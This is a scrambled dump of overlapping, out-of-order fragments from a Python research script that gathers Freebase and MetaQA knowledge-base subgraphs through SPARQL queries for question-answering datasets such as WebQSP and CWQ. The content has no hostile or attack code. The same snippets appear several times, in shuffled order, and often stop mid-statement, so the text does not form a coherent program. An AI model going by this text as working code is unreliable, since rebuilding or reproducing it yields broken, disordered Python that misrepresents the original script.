"numpy as np import argparse import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import",
"+ ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if",
"where { \" + \"ns:\" + q_ent + \" ?r1 ?e1. FILTER(STR(?e1) =",
"= parser.parse_args() args.use_wandb = (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() ==",
"qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file,",
"at {}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list)",
"paths between question entities and answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents",
"defaultdict(list) all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid]",
"qid2answers[empty_qid] for q_ent in q_ents: for ans_ent in answers: spql_1_hop_literal = \"select distinct",
"= (1 + args.job_id) * job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr =",
"\" ?r1 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if",
"<= ctr < en: ans_ents = qid2answers[qid] len_q = 0 for q_ent in",
"# find 1, 2, 3 hop paths between question entities and answers all_subgraphs",
"paths}) len_q += len(paths) if len_q == 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr:",
"qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str",
"ans_ents = qid2answers[qid] for q_ent in q_ents: for ans_ent in ans_ents: spql_2_hop =",
"cases. print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid, _ in qid2qents.items():",
"in the # immediate neighborhood. Unfortunately we can only look in the one-hop",
"parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int,",
"empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent",
"{}, En: {}\".format(st, en)) empty_ctr = 0 all_len = [] for ctr, (qid,",
"entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\",",
"ans_ent in ans_ents: spql_2_hop = \"select distinct ?r1 ?r2 where { \" +",
"takes way too much per query. Worth asking some SPARQL expert, how #",
"is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select",
"all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some qids for which the (above) query",
"ans_ents: paths = find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q",
"hence do not need SPARQL # read metaqa KB # find 1, 2,",
"ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some qids for which the (above)",
"args.job_id) * job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr = 0 all_len =",
"ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st': q_ent,",
"qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa has",
"To handle them, issue a special query that look for those strings in",
"of {} queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file",
"empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en - st)))",
"* job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr = 0 all_len = []",
"# To handle them, issue a special query that look for those strings",
"\"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout)",
"qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str =",
"str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else:",
"= [(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item: item[0])] job_size =",
"\" + \"ns:\" + q_ent + \" ?r1 ?e1. FILTER(STR(?e1) = '\" +",
"'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where",
"args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa':",
"'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': #",
"# Doing more that takes way too much per query. Worth asking some",
"find 1, 2, 3 hop paths between question entities and answers all_subgraphs =",
"qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in q_ents: for ans_ent in answers: spql_1_hop_literal",
"= 0 all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st",
"print(\"Number of queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid, _ in qid2qents.items(): if",
"wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\",
"import numpy as np import argparse import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils",
"en)) empty_ctr = 0 all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)):",
"all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr",
"q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in q_ents: for ans_ent in",
"== 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa':",
"where { \" + \"ns:\" + q_ent + \" ?r1 ns:\" + ans_ent",
"default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths",
"default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\",",
"}\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent,",
"hop=2) is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]})",
"q_ent + \" ?r1 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop,",
"{}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len",
"== 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str",
"can only look in the one-hop neighborhood. # Doing more that takes way",
"import os from collections import defaultdict from tqdm import tqdm import pickle from",
"find_paths(e1_map, q_ent, ans_ent) all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': paths}) len_q += len(paths) if",
"= ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else:",
"'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct ?r1 where { \"",
"execute because # the entities are string literals and the queries above dont",
"all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after executing query for literals: {}\".format(len(all_subgraphs))) out_file",
"queries: {}\".format(len(all_subgraphs))) empty_qids = set() for qid, _ in qid2qents.items(): if qid not",
"{} queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at",
"the entities are string literals and the queries above dont work # To",
"?r2 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception =",
"return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower()",
"qid not in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers",
"query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout:",
"?r1 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not",
"qids for which the (above) query didnt execute because # the entities are",
"= len(qid2qents) / args.total_jobs st = args.job_id * job_size en = (1 +",
"'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers,",
"as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len = [] for ctr,",
"+ ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if",
"immediate neighborhood. Unfortunately we can only look in the one-hop neighborhood. # Doing",
"(qid, q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr < en: ans_ents = qid2answers[qid]",
"get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities)",
"en: ans_ents = qid2answers[qid] len_q = 0 for q_ent in q_ents: for ans_ent",
"argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\",",
"fout) else: all_subgraphs = defaultdict(list) all_len = [] for ctr, (qid, q_ents) in",
"defaultdict from tqdm import tqdm import pickle from numpy.random import default_rng import numpy",
"# metaqa has its own KB and not full Freebase, hence do not",
"if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) #",
"metaqa has its own KB and not full Freebase, hence do not need",
"- st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file,",
"# the entities are string literals and the queries above dont work #",
"tqdm import tqdm import pickle from numpy.random import default_rng import numpy as np",
"for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in",
"default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\",",
"get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs",
"args = parser.parse_args() args.use_wandb = (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower()",
"if len_q == 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out of {}",
"return_gold_entities=args.use_gold_entities) if args.dataset_name.lower() == 'metaqa': # metaqa has its own KB and not",
"from tqdm import tqdm import pickle from numpy.random import default_rng import numpy as",
"'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some qids for",
"'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop) # there are some qids for which the",
"literals and the queries above dont work # To handle them, issue a",
"neighborhood. Unfortunately we can only look in the one-hop neighborhood. # Doing more",
"ret = execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en':",
"= [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent",
"tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in q_ents: for ans_ent in ans_ents: spql_2_hop",
"= argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp')",
"distinct ?r1 where { \" + \"ns:\" + q_ent + \" ?r1 ns:\"",
"1 all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en - st))) out_file =",
"q_ents: for ans_ent in ans_ents: spql_2_hop = \"select distinct ?r1 ?r2 where {",
"args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() ==",
"import pickle from numpy.random import default_rng import numpy as np import argparse import",
"/ args.total_jobs st = args.job_id * job_size en = (1 + args.job_id) *",
"look in the one-hop neighborhood. # Doing more that takes way too much",
"execute_kb_query_for_hops(spql_1_hop_literal, hop=1) is_exception = ret[1] if not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains':",
"work # To handle them, issue a special query that look for those",
"read_metaqa_kb, find_paths if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using",
"parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb",
"full Freebase, hence do not need SPARQL # read metaqa KB # find",
"default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args()",
"== 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq':",
"argparse import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops,",
"else: print(spql_1_hop) # there are some qids for which the (above) query didnt",
"?e1 . ?e1 ?r2 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop,",
"get_query_entities_and_answers_metaqa, read_metaqa_kb, find_paths if __name__ == '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities",
"= ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else:",
"all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for",
"os from collections import defaultdict from tqdm import tqdm import pickle from numpy.random",
"\"ns:\" + q_ent + \" ?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent +",
"== '__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json')",
"look for those strings in the # immediate neighborhood. Unfortunately we can only",
"'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after executing query for literals:",
"?e1 ?r2 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception",
"out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\") as",
"q_ent, 'en': ans_ent, 'chains': paths}) len_q += len(paths) if len_q == 0: empty_ctr",
"in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid]",
"open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len = []",
"import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa,",
"query. Worth asking some SPARQL expert, how # to handle such cases. print(\"Number",
"all_subgraphs[qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_2_hop) spql_1_hop = \"select distinct",
"np import argparse import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\",
"= get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities)",
"len_q += len(paths) if len_q == 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {}",
"+= 1 all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en - st))) out_file",
"per query. Worth asking some SPARQL expert, how # to handle such cases.",
"{ \" + \"ns:\" + q_ent + \" ?r1 ?e1. FILTER(STR(?e1) = '\"",
"= read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid, q_ents) in sorted(qid2qents.items(), key=lambda item:",
"of queries after executing query for literals: {}\".format(len(all_subgraphs))) out_file = os.path.join(args.output_dir, \"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with",
"issue a special query that look for those strings in the # immediate",
"Doing more that takes way too much per query. Worth asking some SPARQL",
"for ans_ent in ans_ents: spql_2_hop = \"select distinct ?r1 ?r2 where { \"",
"pickle from numpy.random import default_rng import numpy as np import argparse import wandb",
"= qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in q_ents: for ans_ent in answers:",
"metaqa KB # find 1, 2, 3 hop paths between question entities and",
"'en': ans_ent, 'chains': paths}) len_q += len(paths) if len_q == 0: empty_ctr +=",
"print(\"Writing file at {}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs",
"{} out of {} queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id)))",
"'__main__': parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\",",
"== 'metaqa': # metaqa has its own KB and not full Freebase, hence",
"query didnt execute because # the entities are string literals and the queries",
"\"{}_2_hop_train_chains.pkl\".format(args.dataset_name.lower())) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) print(\"Min: {}, Mean: {}, Median:",
"elif args.dataset_name.lower() == 'metaqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_metaqa(args.train_file, return_gold_entities=args.use_gold_entities) if args.dataset_name.lower()",
"file at {}\".format(out_file)) with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs =",
"distinct ?r1 ?r2 where { \" + \"ns:\" + q_ent + \" ?r1",
"'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents,",
"_ in qid2qents.items(): if qid not in all_subgraphs: empty_qids.add(qid) for empty_qid in tqdm(empty_qids):",
"(1 + args.job_id) * job_size print(\"St: {}, En: {}\".format(st, en)) empty_ctr = 0",
"ret = execute_kb_query_for_hops(spql_2_hop, hop=2) is_exception = ret[1] if not is_exception: all_subgraphs[qid].append({'st': q_ent, 'en':",
"type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1)",
". ?e1 ?r2 ns:\" + ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_2_hop, hop=2)",
"0 all_len = [] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st <=",
"args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities)",
"== 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str = get_query_entities_and_answers_freebaseqa(args.train_file) elif args.dataset_name.lower() == 'metaqa': qid2qents,",
"== 0: empty_ctr += 1 all_len.append(len_q) print(\"Empty_ctr: {} out of {} queries\".format(empty_ctr, (en",
"qid2gold_spqls, qid2q_str = get_query_entities_and_answers_cwq(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'freebaseqa': qid2qents, qid2answers, qid2gold_spqls, qid2q_str",
"qid2qents, qid2answers, qid2gold_chains, qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers,",
"spql_1_hop_literal = \"select distinct ?r1 where { \" + \"ns:\" + q_ent +",
"in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in q_ents: for ans_ent in ans_ents:",
"item: item[0])] job_size = len(qid2qents) / args.total_jobs st = args.job_id * job_size en",
"with open(out_file, \"wb\") as fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len =",
"ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr < en: ans_ents =",
"query that look for those strings in the # immediate neighborhood. Unfortunately we",
"hop paths between question entities and answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file)",
"len_q = 0 for q_ent in q_ents: for ans_ent in ans_ents: paths =",
"in tqdm(empty_qids): q_ents = qid2qents[empty_qid] answers = qid2answers[empty_qid] for q_ent in q_ents: for",
"rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq, execute_kb_query_for_hops, get_query_entities_and_answers_freebaseqa, \\ get_query_entities_and_answers_metaqa,",
"not is_exception: all_subgraphs[empty_qid].append({'st': q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of",
"len(qid2qents) / args.total_jobs st = args.job_id * job_size en = (1 + args.job_id)",
"+ ans_ent + \". }\" ret = execute_kb_query_for_hops(spql_1_hop, hop=1) if not is_exception: all_subgraphs[qid].append({'st':",
"parser = argparse.ArgumentParser(description=\"Collect subgraphs around entities using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str,",
"import argparse import wandb rng = default_rng() from adaptive_subgraph_collection.adaptive_utils import get_query_entities_and_answers, \\ get_query_entities_and_answers_cwq,",
"the (above) query didnt execute because # the entities are string literals and",
"[] for ctr, (qid, q_ents) in tqdm(enumerate(qid2qents)): if st <= ctr < en:",
"En: {}\".format(st, en)) empty_ctr = 0 all_len = [] for ctr, (qid, q_ents)",
"queries\".format(empty_ctr, (en - st))) out_file = os.path.join(args.output_dir, \"{}_train_chains_{}.pkl\".format(args.dataset_name.lower(), str(args.job_id))) print(\"Writing file at {}\".format(out_file))",
"the queries above dont work # To handle them, issue a special query",
"Worth asking some SPARQL expert, how # to handle such cases. print(\"Number of",
"ans_ents = qid2answers[qid] len_q = 0 for q_ent in q_ents: for ans_ent in",
"q_ent + \" ?r1 ?e1 . ?e1 ?r2 ns:\" + ans_ent + \".",
"qid2q_str = get_query_entities_and_answers(args.train_file, return_gold_entities=args.use_gold_entities) elif args.dataset_name.lower() == 'cwq': qid2qents, qid2answers, qid2gold_spqls, qid2q_str =",
"q_ent, 'en': ans_ent, 'chains': ret[0]}) all_len.append(len(ret[0])) else: print(spql_1_hop_literal) print(\"Number of queries after executing",
"we can only look in the one-hop neighborhood. # Doing more that takes",
"default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb",
"there are some qids for which the (above) query didnt execute because #",
"(qid, q_ents) in tqdm(enumerate(qid2qents.items())): ans_ents = qid2answers[qid] for q_ent in q_ents: for ans_ent",
"?r1 ?e1. FILTER(STR(?e1) = '\" + ans_ent + \"') }\" ret = execute_kb_query_for_hops(spql_1_hop_literal,",
"question entities and answers all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid,",
"in the one-hop neighborhood. # Doing more that takes way too much per",
"parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1) args = parser.parse_args() args.use_wandb = (args.use_wandb ==",
"1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers, qid2gold_chains, qid2q_str =",
"has its own KB and not full Freebase, hence do not need SPARQL",
"in q_ents: for ans_ent in answers: spql_1_hop_literal = \"select distinct ?r1 where {",
"the # immediate neighborhood. Unfortunately we can only look in the one-hop neighborhood.",
"all_subgraphs = defaultdict(list) e1_map = read_metaqa_kb(args.metaqa_kb_file) qid2qents = [(qid, q_ents) for (qid, q_ents)",
"?r1 ?e1 . ?e1 ?r2 ns:\" + ans_ent + \". }\" ret =",
"using CBR\") parser.add_argument(\"--train_file\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/data_with_mentions/webqsp_data_with_mentions/train.json') parser.add_argument(\"--dataset_name\", type=str, default='webqsp') parser.add_argument(\"--output_dir\", type=str, default='/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/subgraphs/webqsp_gold_entities') parser.add_argument(\"--use_gold_entities\", action='store_true')",
"action='store_true') parser.add_argument(\"--metaqa_kb_file\", type=str, default=\"/mnt/nfs/scratch1/rajarshi/cbr-weak-supervision/MetaQA-synthetic/3-hop/kb.txt\") parser.add_argument(\"--job_id\", type=int, default=0) parser.add_argument(\"--total_jobs\", type=int, default=1) parser.add_argument(\"--use_wandb\", type=int, default=1)",
"+ \"ns:\" + q_ent + \" ?r1 ?e1 . ?e1 ?r2 ns:\" +",
"= (args.use_wandb == 1) if args.use_wandb: wandb.init(\"adaptive-subgraph-collection\") if args.dataset_name.lower() == 'webqsp': qid2qents, qid2answers,",
"\"select distinct ?r1 ?r2 where { \" + \"ns:\" + q_ent + \"",
"fout: pickle.dump(all_subgraphs, fout) else: all_subgraphs = defaultdict(list) all_len = [] for ctr, (qid,",
